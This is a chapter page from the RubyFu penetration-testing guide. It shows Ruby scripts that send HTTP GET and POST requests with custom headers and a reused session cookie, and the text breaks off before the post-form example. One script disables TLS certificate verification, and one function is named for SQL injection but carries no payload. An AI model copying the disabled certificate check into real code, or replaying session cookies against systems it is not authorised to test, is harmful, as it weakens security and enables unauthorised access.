<!DOCTYPE HTML>
<html lang="en" >
    
    <head>
        
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <title>Module 0x4 | Web Kung Fu | RubyFu</title>
        <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
        <meta name="description" content="">
        <meta name="generator" content="GitBook 2.6.2">
        
        
        <meta name="HandheldFriendly" content="true"/>
        <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
        <meta name="apple-mobile-web-app-capable" content="yes">
        <meta name="apple-mobile-web-app-status-bar-style" content="black">
        <link rel="apple-touch-icon-precomposed" sizes="152x152" href="../gitbook/images/apple-touch-icon-precomposed-152.png">
        <link rel="shortcut icon" href="../gitbook/images/favicon.ico" type="image/x-icon">
        
    <link rel="stylesheet" href="../gitbook/style.css">
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-anchors/plugin.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-splitter/splitter.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-expandable-chapters/expandable-chapters.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-highlight/website.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-search/search.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-fontsettings/website.css">
        
    
    
        <link rel="stylesheet" href="../styles/website.css">
    

        
    
    
    <link rel="next" href="../module_0x4__web_kung_fu/sql_injection_scanner.html" />
    
    
    <link rel="prev" href="../module_0x3__network_kung_fu/dns_spoofing.html" />
    

        <script type="text/javascript" src="../styles/header.js"></script>
    </head>
    <body>
        
        
    <div class="book"
        data-level="4"
        data-chapter-title="Module 0x4 | Web Kung Fu"
        data-filepath="module_0x4__web_kung_fu/README.md"
        data-basepath=".."
        data-revision="Wed Jan 27 2016 09:00:51 GMT+0300 (AST)"
        data-innerlanguage="">
    

<div class="book-summary">
    <nav role="navigation">
        <ul class="summary">
            
            
            
            

            

            
    
        <li class="chapter " data-level="0" data-path="index.html">
            
                
                    <a href="../index.html">
                
                        <i class="fa fa-check"></i>
                        
                        Module 0x0 | Introduction
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="0.1" data-path="contribution.html">
            
                
                    <a href="../contribution.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>0.1.</b>
                        
                        Contribution
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="0.2" data-path="beginners.html">
            
                
                    <a href="../beginners.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>0.2.</b>
                        
                        Beginners
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="0.3" data-path="required_gems.html">
            
                
                    <a href="../required_gems.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>0.3.</b>
                        
                        Required Gems
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1" data-path="module_0x1__basic_ruby_kung_fu/index.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.</b>
                        
                        Module 0x1 | Basic Ruby Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.1" data-path="module_0x1__basic_ruby_kung_fu/string.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/string.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.1.</b>
                        
                        String
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.1.1" data-path="module_0x1__basic_ruby_kung_fu/conversion.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/conversion.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.1.1.</b>
                        
                        Conversion
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="1.1.2" data-path="module_0x1__basic_ruby_kung_fu/extraction.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/extraction.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.1.2.</b>
                        
                        Extraction
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.2" data-path="module_0x1__basic_ruby_kung_fu/array.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/array.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.2.</b>
                        
                        Array
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="2" data-path="module_0x2__system_kung_fu/index.html">
            
                
                    <a href="../module_0x2__system_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.</b>
                        
                        Module 0x2 | System Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="2.1" data-path="module_0x2__system_kung_fu/command_execution.html">
            
                
                    <a href="../module_0x2__system_kung_fu/command_execution.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.1.</b>
                        
                        Command Execution
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="2.2" data-path="module_0x2__system_kung_fu/file_manipulation.html">
            
                
                    <a href="../module_0x2__system_kung_fu/file_manipulation.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.2.</b>
                        
                        File manipulation
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="2.2.1" data-path="module_0x2__system_kung_fu/parsing_html,_xml,_json.html">
            
                
                    <a href="../module_0x2__system_kung_fu/parsing_html,_xml,_json.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.2.1.</b>
                        
                        Parsing HTML, XML, JSON
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="2.3" data-path="module_0x2__system_kung_fu/cryptography.html">
            
                
                    <a href="../module_0x2__system_kung_fu/cryptography.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.3.</b>
                        
                        Cryptography
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="2.4" data-path="module_0x2__system_kung_fu/system_shell.html">
            
                
                    <a href="../module_0x2__system_kung_fu/system_shell.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.4.</b>
                        
                        Remote Shell
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="2.4.1" data-path="module_0x2__system_kung_fu/ncatrb.html">
            
                
                    <a href="../module_0x2__system_kung_fu/ncatrb.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.4.1.</b>
                        
                        Ncat.rb
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="2.4.2" data-path="module_0x2__system_kung_fu/rce_as_a_service.html">
            
                
                    <a href="../module_0x2__system_kung_fu/rce_as_a_service.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.4.2.</b>
                        
                        RCE as a Service
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="2.5" data-path="module_0x2__system_kung_fu/virustotal.html">
            
                
                    <a href="../module_0x2__system_kung_fu/virustotal.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.5.</b>
                        
                        VirusTotal
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3" data-path="module_0x3__network_kung_fu/index.html">
            
                
                    <a href="../module_0x3__network_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.</b>
                        
                        Module 0x3 | Network Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.1" data-path="module_0x3__network_kung_fu/ruby_socket.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ruby_socket.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.1.</b>
                        
                        Ruby Socket
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.2" data-path="module_0x3__network_kung_fu/ssid_finder.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ssid_finder.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.2.</b>
                        
                        SSID Finder
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.3" data-path="module_0x3__network_kung_fu/ftp.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ftp.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.3.</b>
                        
                        FTP
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.4" data-path="module_0x3__network_kung_fu/ssh.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ssh.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.4.</b>
                        
                        SSH
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.5" data-path="module_0x2__system_kung_fu/email.html">
            
                
                    <a href="../module_0x2__system_kung_fu/email.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.5.</b>
                        
                        Email
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.5.1" data-path="module_0x2__system_kung_fu/smtp_enumeration.html">
            
                
                    <a href="../module_0x2__system_kung_fu/smtp_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.5.1.</b>
                        
                        SMTP Enumeration
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3.6" data-path="module_0x3__network_kung_fu/network_scanning.html">
            
                
                    <a href="../module_0x3__network_kung_fu/network_scanning.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.6.</b>
                        
                        Network Scanning
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.6.1" data-path="module_0x3__network_kung_fu/nmap.html">
            
                
                    <a href="../module_0x3__network_kung_fu/nmap.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.6.1.</b>
                        
                        Nmap
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3.7" data-path="module_0x3__network_kung_fu/dns.html">
            
                
                    <a href="../module_0x3__network_kung_fu/dns.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.7.</b>
                        
                        DNS
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.7.1" data-path="module_0x3__network_kung_fu/dns_enumeration.html">
            
                
                    <a href="../module_0x3__network_kung_fu/dns_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.7.1.</b>
                        
                        DNS Enumeration
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3.8" data-path="module_0x3__network_kung_fu/snmp_enumeration.html">
            
                
                    <a href="../module_0x3__network_kung_fu/snmp_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.8.</b>
                        
                        SNMP Enumeration
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.9" data-path="module_0x3__network_kung_fu/tns_enumeration.html">
            
                
                    <a href="../module_0x3__network_kung_fu/tns_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.9.</b>
                        
                        Oracle TNS Enumeration
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.10" data-path="module_0x3__network_kung_fu/packet_manipulation.html">
            
                
                    <a href="../module_0x3__network_kung_fu/packet_manipulation.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.10.</b>
                        
                        Packet manipulation
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.10.1" data-path="module_0x3__network_kung_fu/arp_spoofing.html">
            
                
                    <a href="../module_0x3__network_kung_fu/arp_spoofing.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.10.1.</b>
                        
                        ARP Spoofing
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.10.2" data-path="module_0x3__network_kung_fu/dns_spoofing.html">
            
                
                    <a href="../module_0x3__network_kung_fu/dns_spoofing.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.10.2.</b>
                        
                        DNS Spoofing
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter active" data-level="4" data-path="module_0x4__web_kung_fu/index.html">
            
                
                    <a href="../module_0x4__web_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.</b>
                        
                        Module 0x4 | Web Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="4.1" data-path="module_0x4__web_kung_fu/sql_injection_scanner.html">
            
                
                    <a href="../module_0x4__web_kung_fu/sql_injection_scanner.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.1.</b>
                        
                        SQL Injection Scanner
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.2" data-path="module_0x4__web_kung_fu/databases.html">
            
                
                    <a href="../module_0x4__web_kung_fu/databases.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.2.</b>
                        
                        Databases
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.3" data-path="module_0x4__web_kung_fu/extending_burpsuite.html">
            
                
                    <a href="../module_0x4__web_kung_fu/extending_burpsuite.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.3.</b>
                        
                        Extending Burp Suite
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.4" data-path="module_0x4__web_kung_fu/browser_manipulation.html">
            
                
                    <a href="../module_0x4__web_kung_fu/browser_manipulation.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.4.</b>
                        
                        Browser Manipulation
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.5" data-path="module_0x4__web_kung_fu/web_servcies_and_apis.html">
            
                
                    <a href="../module_0x4__web_kung_fu/web_servcies_and_apis.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.</b>
                        
                        Web Services and APIs
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="4.5.1" data-path="module_0x4__web_kung_fu/web_services.html">
            
                
                    <a href="../module_0x4__web_kung_fu/web_services.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.1.</b>
                        
                        Interacting with Web Services
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.5.2" data-path="module_0x4__web_kung_fu/interacting_with_apis.html">
            
                
                    <a href="../module_0x4__web_kung_fu/interacting_with_apis.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.2.</b>
                        
                        Interacting with APIs
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="4.5.2.1" data-path="module_0x4__web_kung_fu/wordpress_api.html">
            
                
                    <a href="../module_0x4__web_kung_fu/wordpress_api.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.2.1.</b>
                        
                        WordPress API
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.5.2.2" data-path="module_0x4__web_kung_fu/twitter_api.html">
            
                
                    <a href="../module_0x4__web_kung_fu/twitter_api.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.2.2.</b>
                        
                        Twitter API
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="4.6" data-path="module_0x4__web_kung_fu/ruby2javascript.html">
            
                
                    <a href="../module_0x4__web_kung_fu/ruby2javascript.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.6.</b>
                        
                        Ruby 2 JavaScript
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.7" data-path="module_0x4__web_kung_fu/web_server_and_proxy.html">
            
                
                    <a href="../module_0x4__web_kung_fu/web_server_and_proxy.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.7.</b>
                        
                        Web Server and Proxy
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="5" data-path="module_0x5__exploitation_kung_fu/index.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.</b>
                        
                        Module 0x5 | Exploitation Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="5.1" data-path="module_0x5__exploitation_kung_fu/fuzzer.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/fuzzer.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.1.</b>
                        
                        Fuzzer
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2" data-path="module_0x5__exploitation_kung_fu/metasploit.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/metasploit.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.</b>
                        
                        Metasploit
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="5.2.1" data-path="module_0x5__exploitation_kung_fu/auxiliary_module.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/auxiliary_module.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.1.</b>
                        
                        Auxiliary module
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.2" data-path="module_0x5__exploitation_kung_fu/exploit_module.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/exploit_module.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.2.</b>
                        
                        Exploit module
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.3" data-path="module_0x5__exploitation_kung_fu/meterpreter.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/meterpreter.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.</b>
                        
                        Meterpreter
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="5.2.3.1" data-path="module_0x5__exploitation_kung_fu/extensions.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/extensions.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.1.</b>
                        
                        API and Extensions
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.3.2" data-path="module_0x5__exploitation_kung_fu/meterpreter_scripting.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/meterpreter_scripting.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.2.</b>
                        
                        Meterpreter Scripting
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.3.3" data-path="module_0x5__exploitation_kung_fu/railgun_api_extension.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/railgun_api_extension.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.3.</b>
                        
                        Railgun API Extension
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="5.3" data-path="module_0x5__exploitation_kung_fu/metasm.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/metasm.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.3.</b>
                        
                        metasm
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="6" data-path="module_0x6__forensic/index.html">
            
                
                    <a href="../module_0x6__forensic/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.</b>
                        
                        Module 0x6 | Forensic Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="6.1" data-path="module_0x6__forensic/windows_forensic.html">
            
                
                    <a href="../module_0x6__forensic/windows_forensic.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.1.</b>
                        
                        Windows Forensic
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="6.2" data-path="module_0x6__forensic/android_forensic.html">
            
                
                    <a href="../module_0x6__forensic/android_forensic.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.2.</b>
                        
                        Android Forensic
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="6.3" data-path="module_0x3__network_kung_fu/network_traffic_analysis.html">
            
                
                    <a href="../module_0x3__network_kung_fu/network_traffic_analysis.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.3.</b>
                        
                        Network Traffic Analysis
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="6.4" data-path="module_0x6__forensic/parsing_log_files.html">
            
                
                    <a href="../module_0x6__forensic/parsing_log_files.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.4.</b>
                        
                        Parsing Log Files
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="7" data-path="references/index.html">
            
                
                    <a href="../references/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>7.</b>
                        
                        References
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="8" data-path="faqs/index.html">
            
                
                    <a href="../faqs/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>8.</b>
                        
                        FAQs
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="9" data-path="contributors/index.html">
            
                
                    <a href="../contributors/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>9.</b>
                        
                        Contributors
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="9.1" data-path="contributors/todo.html">
            
                
                    <a href="../contributors/todo.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>9.1.</b>
                        
                        TODO
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    


            
            <li class="divider"></li>
            <li>
                <a href="https://www.gitbook.com" target="blank" class="gitbook-link">
                    Published with GitBook
                </a>
            </li>
            
        </ul>
    </nav>
</div>

    <div class="book-body">
        <div class="body-inner">
            <div class="book-header" role="navigation">
    <!-- Actions Left -->
    

    <!-- Title -->
    <h1>
        <i class="fa fa-circle-o-notch fa-spin"></i>
        <a href="../" >RubyFu</a>
    </h1>
</div>

            <div class="page-wrapper" tabindex="-1" role="main">
                <div class="page-inner">
                
                
                    <section class="normal" id="section-">
                    
                        <h1 id="chapter-0x4--web-kung-fu"><a name="chapter-0x4--web-kung-fu" class="plugin-anchor" href="#chapter-0x4--web-kung-fu"><span class="fa fa-link"></span></a>Chapter 0x4 | Web Kung Fu</h1>
<h2 id="send-get-request"><a name="send-get-request" class="plugin-anchor" href="#send-get-request"><span class="fa fa-link"></span></a>Send Get request</h2>
<h3 id="using-nethttp"><a name="using-nethttp" class="plugin-anchor" href="#using-nethttp"><span class="fa fa-link"></span></a>Using Net::HTTP</h3>
<pre><code class="lang-ruby"><span class="hljs-comment">#!/usr/bin/env ruby</span>
<span class="hljs-comment"># KING SABRI</span>
<span class="hljs-comment"># Usage | ruby send_get.rb [HOST] [SESSION_ID]</span>
<span class="hljs-comment">#</span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&quot;net/http&quot;</span>

host       = <span class="hljs-constant">ARGV</span>[<span class="hljs-number">0</span>] || <span class="hljs-string">&quot;172.16.50.139&quot;</span>
session_id = <span class="hljs-constant">ARGV</span>[<span class="hljs-number">1</span>] || <span class="hljs-string">&quot;3c0e9a7edfa6682cb891f1c3df8a33ad&quot;</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">send_sqli</span><span class="hljs-params">(query)</span></span>

  uri = <span class="hljs-constant">URI</span>.parse(<span class="hljs-string">&quot;https://<span class="hljs-subst">#{host}</span>/script/path/file.php?&quot;</span>)
  uri.query = <span class="hljs-constant">URI</span>.encode_www_form({<span class="hljs-string">&quot;var1&quot;</span>=&gt; <span class="hljs-string">&quot;val1&quot;</span>,
                                   <span class="hljs-string">&quot;var2&quot;</span>=&gt; <span class="hljs-string">&quot;val2&quot;</span>,
                                   <span class="hljs-string">&quot;var3&quot;</span>=&gt; <span class="hljs-string">&quot;val3&quot;</span>})

  http = <span class="hljs-constant">Net::HTTP</span>.new(uri.host, uri.port)
  http.use_ssl = <span class="hljs-keyword">true</span> <span class="hljs-keyword">if</span> uri.scheme == <span class="hljs-string">&apos;https&apos;</span>    <span class="hljs-comment"># Enable HTTPS support if it&apos;s HTTPS</span>

  request = <span class="hljs-constant">Net::HTTP::Get</span>.new(uri.request_uri)
  request[<span class="hljs-string">&quot;User-Agent&quot;</span>] = <span class="hljs-string">&quot;Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0&quot;</span>
  request[<span class="hljs-string">&quot;Connection&quot;</span>] = <span class="hljs-string">&quot;keep-alive&quot;</span>
  request[<span class="hljs-string">&quot;Accept-Language&quot;</span>] = <span class="hljs-string">&quot;en-US,en;q=0.5&quot;</span>
  request[<span class="hljs-string">&quot;Accept-Encoding&quot;</span>] = <span class="hljs-string">&quot;gzip, deflate&quot;</span>
  request[<span class="hljs-string">&quot;Accept&quot;</span>] = <span class="hljs-string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;</span>
  request[<span class="hljs-string">&quot;PHPSESSID&quot;</span>] = session_id

  <span class="hljs-keyword">begin</span>
    puts <span class="hljs-string">&quot;Sending.. &quot;</span>
    response = http.request(request).body
  <span class="hljs-keyword">rescue</span> <span class="hljs-constant">Exception</span> =&gt; e
    puts <span class="hljs-string">&quot;[!] Failed!&quot;</span>
    puts e
  <span class="hljs-keyword">end</span>

<span class="hljs-keyword">end</span>
</code></pre>
<h3 id="using-openuri"><a name="using-openuri" class="plugin-anchor" href="#using-openuri"><span class="fa fa-link"></span></a>Using Open-uri</h3>
<p>Here another way to do the same thing </p>
<pre><code class="lang-ruby"><span class="hljs-comment">#!/usr/bin/env ruby</span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&apos;open-uri&apos;</span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&apos;openssl&apos;</span>

host       = <span class="hljs-constant">ARGV</span>[<span class="hljs-number">0</span>] || <span class="hljs-string">&quot;172.16.50.139&quot;</span>
session_id = <span class="hljs-constant">ARGV</span>[<span class="hljs-number">1</span>] || <span class="hljs-string">&quot;3c0e9a7edfa6682cb891f1c3df8a33ad&quot;</span>


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">send_sqli</span></span>
  uri = <span class="hljs-constant">URI</span>.parse(<span class="hljs-string">&quot;https://<span class="hljs-subst">#{host}</span>/script/path/file.php?var1=val1&amp;var2=val2&amp;var3=val3&quot;</span>)
  headers = 
      {
        <span class="hljs-string">&quot;User-Agent&quot;</span> =&gt; <span class="hljs-string">&quot;Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0&quot;</span>,
        <span class="hljs-string">&quot;Connection&quot;</span> =&gt; <span class="hljs-string">&quot;keep-alive&quot;</span>,
        <span class="hljs-string">&quot;Accept-Language&quot;</span> =&gt; <span class="hljs-string">&quot;en-US,en;q=0.5&quot;</span>,
        <span class="hljs-string">&quot;Accept-Encoding&quot;</span> =&gt; <span class="hljs-string">&quot;gzip, deflate&quot;</span>,
        <span class="hljs-string">&quot;Accept&quot;</span> =&gt; <span class="hljs-string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;</span>,
        <span class="hljs-string">&quot;Cookie&quot;</span> =&gt; <span class="hljs-string">&quot;PHPSESSID=<span class="hljs-subst">#{session_id}</span>&quot;</span>
      }
  request = open(uri, <span class="hljs-symbol">:ssl_verify_mode</span> =&gt; <span class="hljs-constant">OpenSSL::SSL::VERIFY_NONE</span>, headers)
  puts <span class="hljs-string">&quot;Sending.. &quot;</span>
  response = request.read
  puts response
<span class="hljs-keyword">end</span>
</code></pre>
<h2 id="send-http-post-request-with-custom-headers"><a name="send-http-post-request-with-custom-headers" class="plugin-anchor" href="#send-http-post-request-with-custom-headers"><span class="fa fa-link"></span></a>Send HTTP Post request with custom headers</h2>
<p>Here the post body from a file</p>
<pre><code class="lang-ruby"><span class="hljs-keyword">require</span> <span class="hljs-string">&apos;net/http&apos;</span>

uri = <span class="hljs-constant">URI</span>.parse <span class="hljs-string">&quot;http://example.com/Pages/PostPage.aspx&quot;</span>
headers =
{
   <span class="hljs-string">&apos;Referer&apos;</span> =&gt; <span class="hljs-string">&apos;http://example.com/Pages/SomePage.aspx&apos;</span>,
   <span class="hljs-string">&apos;Cookie&apos;</span> =&gt; <span class="hljs-string">&apos;TS9e4B=ae79efe; WSS_FullScrende=false; ASP.NET_SessionId=rxuvh3l5dam&apos;</span>,
   <span class="hljs-string">&apos;Connection&apos;</span> =&gt; <span class="hljs-string">&apos;keep-alive&apos;</span>,
   <span class="hljs-string">&apos;Content-Type&apos;</span> =&gt;<span class="hljs-string">&apos;application/x-www-form-urlencoded&apos;</span>
 }
post = <span class="hljs-constant">File</span>.read post_file   <span class="hljs-comment"># Raw Post Body&apos;s Data</span>
http    = <span class="hljs-constant">Net::HTTP</span>.new(uri.host, uri.port)
http.use_ssl = <span class="hljs-keyword">true</span> <span class="hljs-keyword">if</span> uri.scheme == <span class="hljs-string">&apos;https&apos;</span>    <span class="hljs-comment"># Enable HTTPS support if it&apos;s HTTPS</span>
request = <span class="hljs-constant">Net::HTTP::Post</span>.new(uri.path, headers)
request.body = post
response = http.request request
puts response.code
puts response.body
</code></pre>
<h2 id="more-control-on-post-variables"><a name="more-control-on-post-variables" class="plugin-anchor" href="#more-control-on-post-variables"><span class="fa fa-link"></span></a>More control on Post variables</h2>
<p>Let&apos;s to take the following form as a simple post form to mimic in our script</p>
<table>
<thead>
<tr>
<th style="text-align:center"><img src="../images/module04/webfu__post_form1.png" alt="PostForm"></th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center"><strong>Figure 1.</strong> Simple Post form</td>
</tr>
</tbody>
</table>
<p>Post form code:</p>
